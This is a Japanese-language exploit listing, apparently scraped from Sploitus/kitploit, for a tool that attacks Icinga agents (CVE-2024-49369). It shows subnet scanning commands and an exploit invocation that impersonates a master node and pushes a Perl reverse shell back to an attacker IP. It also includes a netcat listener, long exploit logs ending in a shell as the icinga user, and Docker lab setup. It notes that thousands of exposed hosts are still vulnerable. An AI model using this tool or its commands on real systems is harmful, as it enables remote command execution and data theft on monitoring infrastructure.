Sploitus

Exploit for CVE-2024-49369

kitploit · 2026-09-11

Exploit Code

MARKDOWN315 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-QUANTUM-SICARIUS-CVE-2024-49369
# CVE-2024-49369

## 概要

この脆弱性は、Icinga JSON-RPCプロトコルを利用して、Icingaエージェントを実行する監視対象ノードを悪用します。Master/Satelliteインスタンスになりすますことで、攻撃者はエージェントを乗っ取り、任意のコマンドを実行したり、機密情報を取得したりする可能性があります。

* * *

## 使用方法

### スキャン

脆弱なエージェントをサブネット内でスキャンするには、次のコマンドを実行します。

root@kitploit:~
    
    
    python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
    

指定されたサブネットを25 IP単位のバッチでスキャンします。このツールはJSON-RPCプロトコルを介して`Icinga::HELLO`メッセージを送信し、応答するエージェントとそのバージョンを特定します。

* * *

### エクスプロイト

エンドポイントで設定とコマンド実行が有効になっている場合(Icingaエージェントを使用する監視対象ノードのデフォルト設定)、攻撃者は以下のことが可能です。

  1. Master/Satelliteインスタンスになりすます。
  2. エンドポイントの設定を更新する。
  3. エンドポイント上で任意のコマンドを実行する。



これにより、システム全体が侵害される可能性があります(サービスユーザーに依存)が、アクセスが制限される場合もあります。

#### 前提条件

  * ネットワークの中断またはターゲットの再起動:Icingaエージェントは、既存の接続が切断されるまで、同じMaster/Satelliteインスタンスからの新しい接続を自動的に拒否します。



親ノードがまだ接続されている場合、エクスプロイト接続はログに次のように表示されます。

root@kitploit:~
    
    
    [2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
    [2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
    [2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
    

クラスタに関する警告がトリガーされているため、このノードが攻撃に対して脆弱であることがわかります。つまり、現在のサテライトはまだ接続されていますが、このエージェントは私たちを有効な親と見なしています。

#### 手順

  1. リバースシェル用のNetcatリスナーを起動します。

root@kitploit:~
         
         nc -lvnp 9001
         

  2. エクスプロイトを実行します。

root@kitploit:~
         
         python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
         

     * **`--host`** :ターゲットエージェントのIPアドレス。
     * **`--node-cn`** :なりすますMaster/Satelliteのコモンネーム。
     * **`--zone`** :ターゲットゾーン名。デフォルトは`master`。
     * **`--revip`** :リバースシェル用の攻撃者のIPアドレス。
     * **`--revport`** :リバースシェル用の攻撃者のポート。



このコマンドは接続試行を繰り返します。ターゲットエージェントが現在の親から切断されると、ツールが引き継ぎ、チェックを送受信します。

#### ペイロード例

Perlベースのリバースシェルが、ツールによって作成された新しいチェックの一部として使用されます。

* * *

### 情報漏洩

ターゲットで設定とコマンド実行が無効になっていても、攻撃者はエージェントに送信されたチェックの結果を観察することで、機密データを入手できる可能性があります。

#### 応答データ例

root@kitploit:~
    
    
    {
      "jsonrpc": "2.0",
      "method": "config::UpdateObject",
      "params": {
        "config": "object Downtime ...",
        "name": "icinga-agent!load!9856e6b2...",
        "type": "Downtime",
        "version": 1733899523.67197
      }
    }
    

root@kitploit:~
    
    
    {
      "jsonrpc": "2.0",
      "method": "event::SetLastCheckStarted",
      "params": {
        "host": "icinga-agent",
        "last_check_started": 1733899492.313578,
        "service": "icinga"
      },
      "ts": 1733899492.313714
    }
    

これらの応答には、機密性の高い設定、スケジュールデータ、さらには監視サービスの結果が含まれる可能性があります。

* * *

## 影響

Censys上では現在、公開されているIcingaポートを持つホストが24,003あります。スポットチェックの結果、ほとんどのホストが依然として脆弱なバージョンのIcingaを実行していることが示されています。

* * *

## クレジット

この研究は、Icingaのブログで議論された研究に基づいています。

* * *

## 注意事項

  * このツールは常に責任を持って、許可されたセキュリティテストの範囲内で使用してください。
  * 脆弱性の悪用は深刻な結果を招く可能性があります。使用前に法的許可を確認してください。



# Docker

## Build

root@kitploit:~
    
    
    docker build -f Dockerfile -t icinga-exploit .
    

## Run Exploit

root@kitploit:~
    
    
    docker run -it icinga-exploit exploit --host my_icinga_agent_with_satellite --revip 192.168.0.1 --revport 9001 --node-cn my_satellite --zone master
    ...+...+.......+......+.....+...+.......+............+..+...+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.....+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*........+......+.+...............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    .+.....+...+.+.....+...+.+...........+....+.........+...+........+.+......+...+............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.........+............+.....+....+.....+.........+.+.........+...+........+....+.................+....+......+...........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.....+....+..+.......+......+...........+...+...+...+.+......+..+...+...+....+...+...............+.....+...+.+......+............+..+....+.....+......+...+............+....+.........+.....+.+..+....+...+.................+.+...+.....+.......+..+...+...+....+.................+......+....+...+............+......+..................+.....+.........+.+..+....+......+..............+....+.........+...............+..+....+.........+..................+..+.............+............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    -----
    .+.........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*......+...+.......+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*..+.+.....+...+......+................+.....+.........+.........+....+...........+....+..+....+.....+.+......+........+.+...+..+.+..................+.....+.........+...+...................+........+.+..+...+.+...+..+....+.....+......+.+.................+..........+...+.....+.......+..+.+..+.+..+.......+........+...+.+..............+...............+.......+..+.+.....+.........+...+.........+....+.....+............+.........+....+.....+....+...+............+...+..............+...+.+.........+........+..........+.....+...+....+..+.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    .......+...............+......+...+..+.............+......+..+...+.+.....+.........+..........+..+.......+...+.....+...+......+.+........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*...+.........+.+............+..+.......+...........+...+.+......+...+...........+.+.........+.........+..+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*....+..........+.....+....+.....+......+...+.......+...+..+..........+..............+....+.....+.+.....................+............+...+...+.........+......+.....+....+............+.....+..................+...+...+.........+......+.......+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    -----
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
    INFO:root:(104, 'ECONNRESET')
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
    INFO:root:[('SSL routines', '', 'shutdown while in init')]
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
    INFO:root:Received RequestCertificate
    Certificate request self-signature ok
    subject=CN = my_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925296.124675, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925296.124675}}
    INFO:root:Received ExecutedCommand
    INFO:root:Sending config update
    INFO:root:(-1, 'Unexpected EOF')
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
    INFO:root:(104, 'ECONNRESET')
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
    INFO:root:Received RequestCertificate
    Certificate request self-signature ok
    subject=CN = my_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925305.051298, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925305.051298}}
    INFO:root:Received ExecutedCommand
    INFO:root:Sending config update
    INFO:root:(104, 'ECONNRESET')
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
    INFO:root:(104, 'ECONNRESET')
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
    INFO:root:Received RequestCertificate
    Certificate request self-signature ok
    subject=CN = my_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925313.881199, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925313.881199}}
    INFO:root:Received ExecutedCommand
    INFO:root:Sending config update
    INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
    INFO:root:Received RequestCertificate
    Certificate request self-signature ok
    subject=CN = my_satellite
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::Heartbeat', 'params': {}}
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::SetLastCheckStarted', 'params': {'host': 'localhost', 'last_check_started': 1733925340.30785, 'service': 'icinga_exploit'}, 'ts': 1733925340.307906}
    INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::Heartbeat', 'params': {}}
    

この時点でリバースシェルがアクティブになります。

root@kitploit:~
    
    
    nc -lvnp 9001                                                                                                                                                            
    Ncat: Version 7.92 ( https://nmap.org/ncat )
    Ncat: Listening on :::9001
    Ncat: Listening on 0.0.0.0:9001
    Ncat: Connection from 10.225.12.77.
    Ncat: Connection from 10.225.12.77:40404.
    sh: cannot set terminal process group (-1): Inappropriate ioctl for device
    sh: no job control in this shell
    sh-4.4$ whoami
    whoami
    icinga
    sh-4.4$ 
    

### テスト用のローカルIcingaマスター

root@kitploit:~
    
    
    # 脆弱なマスターノードを実行
    docker run --rm --hostname icinga_master --name icinga_master -p 5665:5665 -e ICINGA_MASTER=1 -e ICINGA_ACCEPT_CONFIG=1 -e ICINGA_ACCEPT_COMMANDS=1 icinga/icinga2:2.14.2
    
    # エクスプロイトを実行
    python3 main.py exploit --host 127.0.0.1 --node-cn icinga_master --zone master --revip <IP> --revport <PORT>
    

### テスト用のローカルIcingaエージェント

#### 新しいランダムなCAと証明書を作成

root@kitploit:~
    
    
    mkdir /tmp/icinga_poc_certs
    
    cd /tmp/icinga_poc_certs/
    openssl genrsa -out /tmp/icinga_poc_certs/icinga-agent.key 2048
    openssl req -new -key /tmp/icinga_poc_certs/icinga-agent.key -out /tmp/icinga_poc_certs/icinga-agent.csr \
        -subj "/C=US/ST=YourState/L=YourCity/O=YourOrganization/CN=icinga-agent"
    openssl genrsa -out /tmp/icinga_poc_certs/icinga-ca.key 2048
    openssl req -x509 -new -nodes -key /tmp/icinga_poc_certs/icinga-ca.key -sha256 -days 3650 \
        -subj "/C=US/ST=YourState/L=YourCity/O=YourOrganization/CN=icinga-ca" \
        -out /tmp/icinga_poc_certs/icinga-ca.crt
    openssl x509 -req -in icinga-agent.csr -CA /tmp/icinga_poc_certs/icinga-ca.crt -CAkey /tmp/icinga_poc_certs/icinga-ca.key -CAcreateserial -out /tmp/icinga_poc_certs/icinga-agent.crt -days 3650 -sha256
    mkdir -p icinga-agent/var/lib/icinga2/certs/
    cp /tmp/icinga_poc_certs/icinga-agent.crt icinga-agent/var/lib/icinga2/certs/icinga-agent.crt
    cp /tmp/icinga_poc_certs/icinga-ca.crt icinga-agent/var/lib/icinga2/certs/ca.crt
    
    docker run --rm \
        -p 5665:5665 \
    	-h icinga-agent \
    	-v ./icinga-agent:/data:z \
    	-e ICINGA_ZONE=icinga-agent \
    	-e ICINGA_ENDPOINT=icinga-master,icinga-master,5665 \
        -e ICINGA_ACCEPT_CONFIG=1 \
    	icinga/icinga2:2.14.2  icinga2 feature enable debuglog
    
    docker run --rm \
        -p 5665:5665 \
    	-h icinga-agent \
    	-v ./icinga-agent:/data:z \
    	-e ICINGA_ZONE=icinga-agent \
    	-e ICINGA_ENDPOINT=icinga-master,icinga-master,5665 \
        -e ICINGA_ACCEPT_CONFIG=1 \
    	icinga/icinga2:2.14.2